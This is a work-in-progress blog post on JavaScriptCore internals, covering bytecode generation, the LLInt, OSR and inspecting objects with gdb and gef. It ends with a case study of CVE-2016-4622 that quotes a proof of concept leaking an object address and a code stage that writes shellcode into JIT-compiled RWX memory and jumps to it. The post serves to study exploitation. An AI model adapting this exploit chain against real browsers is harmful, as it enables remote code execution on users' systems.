JSC::evaluate()                                      at Source/JavaScriptCore/runtime/Completion.cpp:106
runInteractive()                                     at Source/JavaScriptCore/jsc.cpp:1906
runJSC()                                             at Source/JavaScriptCore/jsc.cpp:2056
jscmain()                                            at Source/JavaScriptCore/jsc.cpp:2105
main()                                               at Source/JavaScriptCore/jsc.cpp:1757

Bytecode

After having defined a function, when is called you have the following

JSC::FunctionNode::emitBytecode()                       at Source/JavaScriptCore/bytecompiler/NodesCodegen.cpp:3047
JSC::BytecodeGenerator::generate()                      at Source/JavaScriptCore/bytecompiler/BytecodeGenerator.cpp:103
JSC::generateUnlinkedFunctionCodeBlock()                at Source/JavaScriptCore/bytecode/UnlinkedFunctionExecutable.cpp:75
JSC::UnlinkedFunctionExecutable::unlinkedCodeBlockFor() at Source/JavaScriptCore/bytecode/UnlinkedFunctionExecutable.cpp:203
JSC::ScriptExecutable::newCodeBlockFor()                at Source/JavaScriptCore/runtime/Executable.cpp:305
JSC::ScriptExecutable::prepareForExecutionImpl()        at Source/JavaScriptCore/runtime/Executable.cpp:398
JSC::ScriptExecutable::prepareForExecution()            at Source/JavaScriptCore/runtime/Executable.h:393
JSC::LLInt::setUpCall()                                 at Source/JavaScriptCore/llint/LLIntSlowPaths.cpp:1176
JSC::LLInt::genericCall()                               at Source/JavaScriptCore/llint/LLIntSlowPaths.cpp:1238
JSC::LLInt::llint_slow_path_call()                      at Source/JavaScriptCore/llint/LLIntSlowPaths.cpp:1244
llint_entry ()                                          at Source/JavaScriptCore/runtime/Identifier.h:142
vmEntryToJavaScript ()                                  at Source/JavaScriptCore/runtime/Identifier.h:142
JSC::JITCode::execute()                                 at Source/JavaScriptCore/jit/JITCode.cpp:80
JSC::Interpreter::execute()                             at Source/JavaScriptCore/interpreter/Interpreter.cpp:971
JSC::evaluate()                                         at Source/JavaScriptCore/runtime/Completion.cpp:106
runInteractive()                                        at Source/JavaScriptCore/jsc.cpp:1906
runJSC()                                                at Source/JavaScriptCore/jsc.cpp:2056
jscmain()                                               at Source/JavaScriptCore/jsc.cpp:2105
main()                                                  at Source/JavaScriptCore/jsc.cpp:1757

There is a function that contains both the parsing that the bytecode generation, i.e. generateUnlinkedFunctionCodeBlock(), since it’s an important function here we go

static UnlinkedFunctionCodeBlock* generateUnlinkedFunctionCodeBlock(
    VM& vm, UnlinkedFunctionExecutable* executable, const SourceCode& source,
    CodeSpecializationKind kind, DebuggerMode debuggerMode, ProfilerMode profilerMode,
    UnlinkedFunctionKind functionKind, ParserError& error, SourceParseMode parseMode)
{
    JSParserBuiltinMode builtinMode = executable->isBuiltinFunction() ? JSParserBuiltinMode::Builtin : JSParserBuiltinMode::NotBuiltin;
    JSParserStrictMode strictMode = executable->isInStrictContext() ? JSParserStrictMode::Strict : JSParserStrictMode::NotStrict;
    ASSERT(isFunctionParseMode(executable->parseMode()));
    std::unique_ptr<FunctionNode> function = parse<FunctionNode>(
        &vm, source, executable->name(), builtinMode, strictMode, executable->parseMode(), executable->superBinding(), error, nullptr);

    if (!function) {
        ASSERT(error.isValid());
        return nullptr;
    }

    function->finishParsing(executable->name(), executable->functionMode());
    executable->recordParse(function->features(), function->hasCapturedVariables());

    bool isClassContext = executable->superBinding() == SuperBinding::Needed;

    UnlinkedFunctionCodeBlock* result = UnlinkedFunctionCodeBlock::create(&vm, FunctionCode,
        ExecutableInfo(function->usesEval(), function->isStrictMode(), kind == CodeForConstruct, functionKind == UnlinkedBuiltinFunction, executable->constructorKind(), executable->superBinding(), parseMode, executable->derivedContextType(), false, isClassContext));

    auto generator(std::make_unique<BytecodeGenerator>(vm, function.get(), result, debuggerMode, profilerMode, executable->parentScopeTDZVariables()));
    error = generator->generate();
    if (error.isValid())
        return nullptr;
    return result;
}

As you can see, the function variable, that is the result of the parsing of the javascript is used to create the instance of UnlinkedFunctionCodeBlock (encapsulated inside an instance of ExecutableInfo()). Then BytecodeGenerator is instantiated and attached to result and the generation is triggered via generate().

TODO

void CodeBlock::finishCreation(VM& vm, ScriptExecutable* ownerExecutable, UnlinkedCodeBlock* unlinkedCodeBlock,
    JSScope* scope)
{
    Base::finishCreation(vm);
    ...
    // Copy and translate the UnlinkedInstructions
    unsigned instructionCount = unlinkedCodeBlock->instructions().count();
    UnlinkedInstructionStream::Reader instructionReader(unlinkedCodeBlock->instructions());

    // Bookkeep the strongly referenced module environments.
    HashSet<JSModuleEnvironment*> stronglyReferencedModuleEnvironments;

    // Bookkeep the merge point bytecode offsets.
    Vector<size_t> mergePointBytecodeOffsets;

    RefCountedArray<Instruction> instructions(instructionCount);

    for (unsigned i = 0; !instructionReader.atEnd(); ) {
        const UnlinkedInstruction* pc = instructionReader.next();

        unsigned opLength = opcodeLength(pc[0].u.opcode);

        instructions[i] = vm.interpreter->getOpcode(pc[0].u.opcode);
        for (size_t j = 1; j < opLength; ++j) {
            if (sizeof(int32_t) != sizeof(intptr_t))
                instructions[i + j].u.pointer = 0;
            instructions[i + j].u.operand = pc[j].u.operand;
        }
        switch (pc[0].u.opcode) {
            ...
            default:
            break;
        }
        i += opLength;
    }

    if (vm.controlFlowProfiler())
        insertBasicBlockBoundariesForControlFlowProfiler(instructions);

    m_instructions = WTFMove(instructions);
    ...
    // Set optimization thresholds only after m_instructions is initialized, since these
    // rely on the instruction count (and are in theory permitted to also inspect the
    // instruction stream to more accurate assess the cost of tier-up).
    optimizeAfterWarmUp();
    jitAfterWarmUp();

    // If the concurrent thread will want the code block's hash, then compute it here
    // synchronously.
    if (Options::alwaysComputeHash())
        hash();

    if (Options::dumpGeneratedBytecodes())
        dumpBytecode();

    heap()->m_codeBlocks.add(this);
    heap()->reportExtraMemoryAllocated(m_instructions.size() * sizeof(Instruction));
}

Execution

but it’s transformed into bytecode only the first time, probably is cached in the following calls. The function that does something is ScriptExecutable::installCode() at the and of ScriptExecutable::prepareForExecutionImpl() that via ScriptExecutable::newCodeBlockFor() generates the bytecode.

class NativeExecutable final : public ExecutableBase {
    friend class JIT;
    friend class LLIntOffsetsExtractor;
	...
    static NativeExecutable* create(VM& vm, PassRefPtr<JITCode> callThunk, NativeFunction function, PassRefPtr<JITCode> constructThunk, NativeFunction constructor, Intrinsic intrinsic, const String& name)
    {
        NativeExecutable* executable;
        executable = new (NotNull, allocateCell<NativeExecutable>(vm.heap)) NativeExecutable(vm, function, constructor);
        executable->finishCreation(vm, callThunk, constructThunk, intrinsic, name);
        return executable;
    }

    void finishCreation(VM& vm, PassRefPtr<JITCode> callThunk, PassRefPtr<JITCode> constructThunk, Intrinsic intrinsic, const String& name)
    {
        Base::finishCreation(vm);
        m_jitCodeForCall = callThunk;
        m_jitCodeForConstruct = constructThunk;
        m_intrinsic = intrinsic;
        m_name = name;
    }
};

// Source/JavaScriptCore/runtime/Executable.h
class ScriptExecutable : public ExecutableBase {
    ...
    JSObject* prepareForExecution(ExecState* exec, JSFunction* function, JSScope* scope, CodeSpecializationKind kind)
    {
        if (hasJITCodeFor(kind))
            return 0;
        return prepareForExecutionImpl(exec, function, scope, kind);
    }
    ...
};


// Source/JavaScriptCore/runtime/Executable.cpp
JSObject* ScriptExecutable::prepareForExecutionImpl(
    ExecState* exec, JSFunction* function, JSScope* scope, CodeSpecializationKind kind)
{
    VM& vm = exec->vm();
    DeferGC deferGC(vm.heap);

    if (vm.getAndClearFailNextNewCodeBlock())
        return createError(exec->callerFrame(), ASCIILiteral("Forced Failure"));

    JSObject* exception = 0;
    CodeBlock* codeBlock = newCodeBlockFor(kind, function, scope, exception);                        [1]
    if (!codeBlock) {
        RELEASE_ASSERT(exception);
        return exception;
    }
    
    if (Options::validateBytecode())
        codeBlock->validate();
    
    if (Options::useLLInt())
        setupLLInt(vm, codeBlock);                                                                    [2a]
    else
        setupJIT(vm, codeBlock);                                                                      [2b]
    
    installCode(*codeBlock->vm(), codeBlock, codeBlock->codeType(), codeBlock->specializationKind()); [3]
    return 0;
}

The juice happens in prepareForExecutionImpl(): at [1] the bytecode is generated, at [2a/2b] the JIT code is generated and saved into the instance and finally at [3] the instructions from the CodeBlock are “installed”:

void ScriptExecutable::installCode(VM& vm, CodeBlock* genericCodeBlock, CodeType codeType, CodeSpecializationKind kind)
{
    ...
    CodeBlock* oldCodeBlock = nullptr;
    
    switch (codeType) {
      ...
    case FunctionCode: {
        FunctionExecutable* executable = jsCast<FunctionExecutable*>(this);
        FunctionCodeBlock* codeBlock = static_cast<FunctionCodeBlock*>(genericCodeBlock);
        
        switch (kind) {
        case CodeForCall:
            oldCodeBlock = executable->m_codeBlockForCall.get();
            executable->m_codeBlockForCall.setMayBeNull(vm, this, codeBlock);
            break;
        case CodeForConstruct:
            oldCodeBlock = executable->m_codeBlockForConstruct.get();
            executable->m_codeBlockForConstruct.setMayBeNull(vm, this, codeBlock);
            break;
        }
        break;
    }
    }

    switch (kind) {
    case CodeForCall:
        m_jitCodeForCall = genericCodeBlock ? genericCodeBlock->jitCode() : nullptr;
        m_jitCodeForCallWithArityCheck = MacroAssemblerCodePtr();
        m_numParametersForCall = genericCodeBlock ? genericCodeBlock->numParameters() : NUM_PARAMETERS_NOT_COMPILED;
        break;
     ...
    }
    ...
}

Take in mind that exist two “phases” for the bytecode: after parsing is in an unlinked stage where the bytecode uses a variable-length encoding but before is executed needs to be linked, like in normal executable where external references have to be resolved; moreover the “encoding is expanded”, the opcodes and operands are make “pointer sized”; all this happens in CodeBlock::finishCreation(VM& vm, ScriptExecutable* ownerExecutable, UnlinkedCodeBlock* unlinkedCodeBlock, JSScope* scope).

The function that sets the m_unlinkedInstructions inside UnlinkedCodeBlock is BytecodeGenerator::generate()

It’s possible to dump the bytecode via CodeBlock::dumpBytecode(), the relevant function is at CodeBlock.cpp, this is an example of the output:

>>> function x() { return 'ciao'; }
<global>#DQYhHc:[0x56393ddde520->0x56393ddd7400, NoneGlobal, 32]: 32 m_instructions; 256 bytes; 1 parameter(s); 8 callee register(s); 5 variable(s)
[   0] enter             
[   1] get_scope         loc3
[   3] mov               loc4, loc3
[   6] new_func          loc5, loc3, f0
[  10] resolve_scope     loc6, loc3, x(@id0), <GlobalVar>, 1, 0x56393dd2b700
[  17] mov               loc7, loc6
[  20] put_to_scope      loc7, x(@id0), loc5, 1025<ThrowIfNotFound|GlobalVar|NotInitialization>, <structure>, 1037495536
[  27] mov               loc5, Undefined(const0)
[  30] end               loc5

Identifiers:
  id0 = x

Constants:
   k0 = Undefined

undefined
JSValue JITCode::execute(VM* vm, ProtoCallFrame* protoCallFrame)
{
    void* entryAddress;
    JSFunction* function = jsDynamicCast<JSFunction*>(protoCallFrame->callee());

    if (!function || !protoCallFrame->needArityCheck()) {
        ASSERT(!protoCallFrame->needArityCheck());
        entryAddress = executableAddress();
    } else
        entryAddress = addressForCall(MustCheckArity).executableAddress();
    JSValue result = JSValue::decode(vmEntryToJavaScript(entryAddress, vm, protoCallFrame));
    return vm->exception() ? jsNull() : result;
}

LLint

#define LLINT_SLOW_PATH_DECL(name) \
    extern "C" SlowPathReturnType llint_##name(ExecState* exec, Instruction* pc)

OSR

The On-Stack Replacement is the mechanism by which there is a tier-switch during execution

static SlowPathReturnType entryOSR(ExecState* exec, Instruction*, CodeBlock* codeBlock, const char *name, EntryKind kind)
{
    if (Options::verboseOSR()) {
        dataLog(
            *codeBlock, ": Entered ", name, " with executeCounter = ",
            codeBlock->llintExecuteCounter(), "\n");
    }
    
    if (!shouldJIT(exec, codeBlock)) {
        codeBlock->dontJITAnytimeSoon();
        LLINT_RETURN_TWO(0, 0);
    }
    if (!jitCompileAndSetHeuristics(codeBlock, exec))
        LLINT_RETURN_TWO(0, 0);
    
    if (kind == Prologue)
        LLINT_RETURN_TWO(codeBlock->jitCode()->executableAddress(), 0);
    ASSERT(kind == ArityCheck);
    LLINT_RETURN_TWO(codeBlock->jitCode()->addressForCall(MustCheckArity).executableAddress(), 0);
}

You can use the environment variable JSC_verboseOSR=true to have debugging information.

GDB manual session

To make sense of what I’m talking about, I’ll try to analyze the running code with gdb and the actual vulnerable version of the code. I found that the most reliable way to compile the code is to use docker and a debian:jesse base image (I have a Dockerfile in my repository for that).

Note: I advice to use the tab completion from the gdb prompt with a little caution since the number of symbols to parse is so big that causes unresponsiveness from time to time.

Instead of using a webkit browser is simpler to use the javascript console (jsc) directly from the build directory; as a PoC I’ll use the saelo’s one.

Exists a very comfortable function to evaluate the vulnerability:

./obj-x86_64-linux-gnu/bin/jsc /opt/jscpwn/pwn.js /opt/jscpwn/utils.js  /opt/jscpwn/int64.js  -i
>>> isVulnerable()
true

Now we are good to go: I try to create an object in the console

>>> a = {a: 1, b:2, c:3}
[object Object]
>>> describe(a)
Cell: 0x55e56899be40 (0x55e5689e8d00:[Object, {a:0, b:1, c:2}, NonArray, Proto:0x55e5689c3ff0, Leaf]), ID: 348

and after attaching to the process with gdb I can inspect the memory, first by simply printing the quadword and then dereferencing the address as a JSC::JSCell (gdb needs that the type is enclosed by single quote otherwise goes banana).

Here below a summary with some lines removed for clarity

gef➤  x/60xg 0x55e56899be40
0x55e56899be40: 0x010016000000015c      0x0000000000000000
0x55e56899be50: 0xffff000000000001      0xffff000000000002
0x55e56899be60: 0xffff000000000003      0x0000000000000000
0x55e56899be70: 0x0000000000000000      0x0000000000000000
gef➤  print *('JSC::JSCell'*) 0x55e56899be40
$9 = {
  static StructureFlags = 0x0, 
  static needsDestruction = 0x0, 
  static TypedArrayStorageType = JSC::NotTypedArray, 
  m_structureID = 0x15c, 
  m_indexingType = 0x0, 
  m_type = JSC::FinalObjectType, 
  m_flags = 0x0, 
  m_cellState = JSC::CellState::NewWhite
}

As you can see, the three properties’s values are “inlined” with no butterfly; now I want to try to find the corresponding Structure in memory: m_structureID contains the index in the array where the element is located.

By the way, if you want to know the definition of a datatype inside gdb you can use the ptype command

gef➤  help ptype
Print definition of type TYPE.
Usage: ptype[/FLAGS] TYPE | EXPRESSION
Argument may be any type (for example a type name defined by typedef,
or "struct STRUCT-TAG" or "class CLASS-NAME" or "union UNION-TAG"
or "enum ENUM-TAG") or an expression.
The selected stack frame's lexical context is used to look up the name.
Contrary to "whatis", "ptype" always unrolls any typedefs.

Available FLAGS are:
  /r    print in "raw" form; do not substitute typedefs
  /m    do not print methods defined in a class
  /M    print methods defined in a class
  /t    do not print typedefs defined in a class
  /T    print typedefs defined in a class
  /o    print offsets and sizes of fields in a struct (like pahole)

gef➤  ptype/om JSC::JSCell
/* offset    |  size */  type = class JSC::JSCell {
                         public:
                           static const unsigned int StructureFlags;
                           static const bool needsDestruction;
                           static const enum JSC::TypedArrayType TypedArrayStorageType;
                         private:
/*    0      |     4 */    JSC::StructureID m_structureID;
/*    4      |     1 */    JSC::IndexingType m_indexingType;
/*    5      |     1 */    enum JSC::JSType m_type;
/*    6      |     1 */    JSC::TypeInfo::InlineTypeFlags m_flags;
/*    7      |     1 */    enum JSC::CellState m_cellState;

                           /* total size (bytes):    8 */
                         }

Sometimes reaching the right instance of an object is a little tricky, but from gdb is possible to create magic spells like this below to reach the structure describing the object properties:

gef➤  print *('JSC::Structure'*)(('JSC::MarkedBlock'*)( 0x55e56899be40 & ~(16*1024 - 1)))->m_weakSet.m_vm->heap->m_structureIDTable.m_table.get()[348]
$22 = {
  <JSC::JSCell> = {
    static StructureFlags = 0x0,
    static needsDestruction = 0x0,
    static TypedArrayStorageType = JSC::NotTypedArray,
    m_structureID = 0x1,
    m_indexingType = 0x0,
    m_type = JSC::CellType,
    m_flags = 0x20,
    m_cellState = JSC::CellState::NewWhite
  },
  ...
  m_blob = {
    u = {
      fields = {
        structureID = 0x15c,
        indexingType = 0x0,
        type = JSC::FinalObjectType,
        inlineTypeFlags = 0x0,
        defaultCellState = JSC::CellState::NewWhite
      },
      words = {
        word1 = 0x15c,
        word2 = 0x1001600
      },
      doubleWord = 0x10016000000015c
    }
  },
  ...
  m_prototype = {
    <JSC::WriteBarrierBase<JSC::Unknown>> = {
      m_value = 0x55e5689c3ff0
    }, <No data fields>},
  ...
  m_propertyTableUnsafe = {
    <JSC::WriteBarrierBase<JSC::PropertyTable>> = {
      m_cell = 0x55e5689925c0
    }, <No data fields>},
  ...
  m_offset = 0x2,
  m_inlineCapacity = 0x6,
  ...
}

Now I want to try something involving the butterfly: from the jsc’s prompt I insert an object with more than six properties

>>> a = {a:1, b:2, c:3, d:4, e:5, f:6, g:7}
[object Object]
>>> b = {h:8, i:9, l:10, m:11, n:12, o:13, p:14}
[object Object]
>>> describe(a)
Cell: 0x563afd783d80 (0x563afd82f100:[Object, {a:0, b:1, c:2, d:3, e:4, f:5, g:100}, NonArray, Proto:0x563afd7abff0, Leaf]), ID: 378
>>> describe(b)
Cell: 0x563afd783d40 (0x563afd82ed00:[Object, {h:0, i:1, l:2, m:3, n:4, o:5, p:100}, NonArray, Proto:0x563afd7abff0, Leaf]), ID: 385
>>> a[0] = 0xabad1d3a
2880249146
>>> a.kebab = 34
34
>>> a.jeova = 17
17
>>> a.miao = 99
99

and to make easier to use the instance I’ll set a convenience variable in gdb: in this way the variable has a proper type and can access the methods of the class (I think there are some limitations but for now is ok)

gef➤  set $obj = (('JSC::JSObject'*) 0x563afd783d80)
gef➤  x/10xg $obj
0x563afd783d80: 0x0100160600000188      0x0000563afd81a748
0x563afd783d90: 0xffff000000000001      0xffff000000000002
0x563afd783da0: 0xffff000000000003      0xffff000000000004
0x563afd783db0: 0xffff000000000005      0xffff000000000006
0x563afd783dc0: 0x0100160000000173      0x0000000000000000

indeed we can ask for a dump of the butterfly from its base

gef➤  x/20xg $obj->butterfly()->base($obj->structure())
0x563afd81a720: 0xffff000000000063      0xffff000000000011
0x563afd81a730: 0xffff000000000022      0xffff000000000007
0x563afd81a740: 0x0000000400000001      0x41e575a3a7400000
0x563afd81a750: 0x7ff8000000000000      0x7ff8000000000000
0x563afd81a760: 0x7ff8000000000000      0x0000000000000000
0x563afd81a770: 0x0000000000000000      0x0000000000000000
0x563afd81a780: 0x0000000000000000      0x0000000000000000
0x563afd81a790: 0x0000000000000000      0x0000000000000000
0x563afd81a7a0: 0x0000000000000000      0x0000000000000000
0x563afd81a7b0: 0x0000000000000000      0x0000000000000000

or from the “central pointer”

gef➤  x/20xg $obj->butterfly()
0x563afd81a748: 0x41e575a3a7400000      0x7ff8000000000000
0x563afd81a758: 0x7ff8000000000000      0x7ff8000000000000
0x563afd81a768: 0x0000000000000000      0x0000000000000000
0x563afd81a778: 0x0000000000000000      0x0000000000000000
0x563afd81a788: 0x0000000000000000      0x0000000000000000
0x563afd81a798: 0x0000000000000000      0x0000000000000000
0x563afd81a7a8: 0x0000000000000000      0x0000000000000000
0x563afd81a7b8: 0x0000000000000000      0x0000000000000000
0x563afd81a7c8: 0x0000000000000000      0x0000000000000000
0x563afd81a7d8: 0x0000000000000000      0x0000000000000000

Probably the best way to interact is using convenience variables since is more portable with respect to resolving each field and subfield.

Bytecode

Try to play a little with gdb and executable code

>>> describe(a)
...
Cell: 0x7f9dd5f9f5e0 (0x7f9dd5ffa680:[Function, {}, NonArray, Proto:0x7f9dd5ff1e00]), ID: 51
gef➤  print (('JSC::ExecutableBase'*)(('JSC::JSFunction'*)0x7f9dd5f9f5e0)->m_executable.m_cell).m_jitCodeForCall.m_ptr->executableAddressAtOffset(0)
$57 = (void *) 0x7f9dd79ffca0
gef➤  x/3i 0x7f9dd79ffca0
   0x7f9dd79ffca0:      movabs rax,0x7f9e1ad7deb1
   0x7f9dd79ffcaa:      jmp    rax
   0x7f9dd79ffcac:      add    BYTE PTR [rax],al
gef➤  x/3i 0x7f9e1ad7deb1
   0x7f9e1ad7deb1 <llint_entry+3296>:   push   rbp
   0x7f9e1ad7deb2 <llint_entry+3297>:   mov    rbp,rsp
   0x7f9e1ad7deb5 <llint_entry+3300>:   mov    rsi,QWORD PTR [rbp+0x18]
gef➤  print LLInt::Data::s_opcodeMap[136]
$60 = (void *) 0x7f9e1ad7deb1 <llint_entry+3296>

I used 136 because of this

setEntryAddress(136, _llint_function_for_call_prologue)

defined into obj-x86_64-linux-gnu/DerivedSources/JavaScriptCore/InitBytecodes.asm.

GEF

Now that we have done some homeworks, we can try to power up the game creating a tool (or improving one in our case) in order to make all simpler for future adventures: we can try to extend gef (github repo here) a gdb extension(?) for security research.

Remember if you have problem when you are writing code for gef that is possible to enable the debugging so to have a clean traceback when errors happen

gef➤  gef config gef.debug true
gef➤  gef config gef.debug
─────────────────────────────── GEF configuration setting: gef.debug ───────────────────────────────
gef.debug (bool) = True

Description:
        Enable debug mode for gef

and to avoid to restart gdb when you change the script code you can do source /path/to/script.py to reload it; take in mind that all the classes and functions are available in the python environment that can be accessed in gdb using the command pi. py is used for one liner.

gef uses the gdb’s internal python API to create some commands: in our case we want to add a way to visualize clearly the value in memory of the javascript objects.

The main data type in gdb is the Value class, it is a wrapper around a value of course and allows to interact with the API

gef➤  pi
>>> addr = gdb.Value(0x55791e11fe00)

if we want to cast this address so to reference a specific type, like JSC::JSCell I can use the gdb.lookup_type() function

>>> jsc_cell_type = gdb.lookup_type('JSC::JSCell')

(obviously gdb must know about this type, this means you have loaded a binary with the simbols, maybe debug symbols?).

I cannot indicate explicitely a pointer (JSC::JSCell*) but instead I have to use the pointer() method

>>> jsc_cell_type_pointer = jsc_cell_type.pointer()

At this point I can use

>>> addr.cast(jsc_cell_type_pointer)
<gdb.Value object at 0x7f9750287e70>
>>> print(addr.cast(jsc_cell_type_pointer))
0x55791e11fe00
>>> print(addr.cast(jsc_cell_type_pointer).dereference())
{
  static StructureFlags = 0x0, 
  static needsDestruction = 0x0, 
  static TypedArrayStorageType = JSC::NotTypedArray, 
  m_structureID = 0x163, 
  m_indexingType = 0x0, 
  m_type = JSC::FinalObjectType, 
  m_flags = 0x0, 
  m_cellState = JSC::CellState::NewWhite
}

It is also possible to parse gdb’s commands via gdb.parse_and_eval()

gef➤  set $obj = ('JSC::JSCell'*) 0x55791e11fe00
>>> print(gdb.parse_and_eval('*$obj'))
{
  static StructureFlags = 0x0, 
  static needsDestruction = 0x0, 
  static TypedArrayStorageType = JSC::NotTypedArray, 
  m_structureID = 0x163, 
  m_indexingType = 0x0, 
  m_type = JSC::FinalObjectType, 
  m_flags = 0x0, 
  m_cellState = JSC::CellState::NewWhite
}

Obviously is possible to set convenience variables also using the python API

>>> obj = addr.cast(jsc_cell_type_pointer)
>>> gdb.set_convenience_variable('miao', obj)
>>> print(gdb.parse_and_eval('*$miao'))
{
  static StructureFlags = 0x0, 
  static needsDestruction = 0x0, 
  static TypedArrayStorageType = JSC::NotTypedArray, 
  m_structureID = 0x163, 
  m_indexingType = 0x0, 
  m_type = JSC::FinalObjectType, 
  m_flags = 0x0, 
  m_cellState = JSC::CellState::NewWhite
}

Use gef with JSC

TODO

Case study: CVE-2016-4622

Now that we have a deeper understanding of the JSC internals should be easier understand what saelo was talking about.

To automatize the analysis you can use the following gdb’s script that sets breakpoints in important points to see what the vulnerability is actually “doing”.

To summarize the PoC we have the following lines

>>> obj = {a: 1, b:2}
[object Object]
>>> a = [];for (var i = 0; i < 100; i++)a.push(i + 13.37);
>>> var b = a.slice(0, {valueOf: function() { a.length = 0;c=[obj];return 4;}});
>>> b
13.37,14.37,8.4879831644e-314,4.6843036111784e-310

I can retrieve the addresses

>>> describe(obj)
Cell: 0x7f9dd5fdfe00 (0x7f9dd5f8f800:[Object, {a:0, b:1}, NonArray, Proto:0x7f9dd5fcbff0, Leaf]), ID: 372
>>> describe(b)
Cell: 0x7f9dd5fcbcd0 (0x7f9dd5ff8380:[Array, {}, ArrayWithDouble, Proto:0x7f9dd5fd76d0, Leaf]), ID: 121

and take a look from gdb and see that the forth value in the butterfly is the address of obj:

gef➤  set $obj = (('JSC::JSObject'*) 0x7f9dd5fcbcd0)
gef➤  x/10xg $obj->butterfly()
0x7f9dd73fe5f8: 0x402abd70a3d70a3d      0x402cbd70a3d70a3d
0x7f9dd73fe608: 0x0000000400000001      0x00007f9dd5fdfe00
0x7f9dd73fe618: 0x0000000000000000      0x0000000000000000
0x7f9dd73fe628: 0x0000000000000000      0x0000000000000000
0x7f9dd73fe638: 0x0000000000000000      0x0000000000000000

With this we have a read primitive for internal memory addresses; but why?

TODO

Now that we have the read/write primitives and we can create objects “on demand” we can use our knowledge about the internal structure of JSFunction to finally execute some code

// Now the easy part:
//   1. Leak a pointer to a JIT compiled function
//   2. Leak the pointer into executable memory
//   3. Write shellcode there
//   4. Call the function
var func = makeJITCompiledFunction();
var funcAddr = addrof(func);
print("[+] Shellcode function object @ " + funcAddr);

var executableAddr = memory.readInt64(Add(funcAddr, 24));
print("[+] Executable instance @ " + executableAddr);

var jitCodeAddr = memory.readInt64(Add(executableAddr, 16));
print("[+] JITCode instance @ " + jitCodeAddr);

var codeAddr = memory.readInt64(Add(jitCodeAddr, 32));
print("[+] RWX memory @ " + codeAddr.toString());

print("[+] Writing shellcode...");
memory.write(codeAddr, shellcode);

print("[!] Jumping into shellcode...");
func();

Linkography

JSC

GDB

Do you find this post incomplete? probably because it's a work in progress. Let me know how do you want this to be completed